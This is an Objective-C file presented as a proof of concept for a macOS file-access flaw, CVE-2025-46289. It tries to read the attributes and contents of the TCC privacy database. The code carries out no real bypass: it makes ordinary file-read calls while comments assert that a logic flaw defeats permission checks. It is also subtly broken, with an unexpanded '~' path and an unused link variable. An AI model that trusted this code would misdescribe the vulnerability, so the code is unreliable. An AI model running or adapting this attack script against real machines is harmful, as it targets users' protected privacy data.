CVE-2025-46289

// CVE-2025-46289 PoC - macOS Logic Issue File Access Vulnerability // This PoC demonstrates the file handling logic issue that allows access to protected user data #include <Foundation/Foundation.h> #include <Security/Security.h> // Note: This is a conceptual PoC. Actual exploitation requires specific conditions. // The vulnerability allows bypassing file permission checks through logic flaws. NSString *targetProtectedPath = @"~/Library/Application Support/com.apple.tcc/TCC.db"; NSString *exploitPath = @"/tmp/exploit_link"; void exploitLogicIssue(NSString *protectedFile) { // The logic issue allows bypassing permission checks // by exploiting file handling in specific API calls NSFileManager *fm = [NSFileManager defaultManager]; NSError *error = nil; // Attempt to access protected file through logic flaw // This should normally be blocked but the logic issue bypasses it NSDictionary *attributes = [fm attributesOfItemAtPath:protectedFile error:&error]; if (attributes) { NSLog(@"[VULN] Successfully accessed protected file attributes"); NSLog(@"Owner: %@", attributes[NSFileOwnerAccountName]); NSLog(@"Size: %@", attributes[NSFileSize]); // Read file contents if accessible NSString *content = [NSString stringWithContentsOfFile:protectedFile encoding:NSUTF8StringEncoding error:&error]; if (content) { NSLog(@"[VULN] File content accessible: %lu bytes", (unsigned long)content.length); } } } int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"CVE-2025-46289 PoC - macOS Logic Issue"); NSLog(@"Target: %@", targetProtectedPath); exploitLogicIssue(targetProtectedPath); } return 0; }

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